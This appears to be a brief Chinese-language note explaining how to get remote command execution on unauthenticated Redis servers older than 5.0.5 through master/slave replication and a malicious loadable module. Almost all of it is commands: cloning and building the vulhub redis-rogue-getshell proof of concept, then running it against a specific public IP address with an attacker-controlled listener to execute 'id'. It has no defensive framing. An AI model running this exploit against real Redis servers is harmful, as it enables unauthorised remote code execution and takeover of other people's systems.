Redis未授权访问在4.x/5.0.5以前版本下,我们可以使用master/slave模式加载远程模块,通过动态链接库的方式执行任意命令。
redis 4.0.14:
poc地址
https://github.com/vulhub/redis-rogue-getshell
git clone https://github.com/vulhub/redis-rogue-getshell.git
cd redis-rogue-getshell/
cd RedisModulesSDK/
make
cd ..
python redis-master.py -h

python3 redis-master.py -r 188.40.189.134 -p 6379 -L x.x.x.x -P 8888 -f RedisModulesSDK/exp.so -c "id"

大概就这些......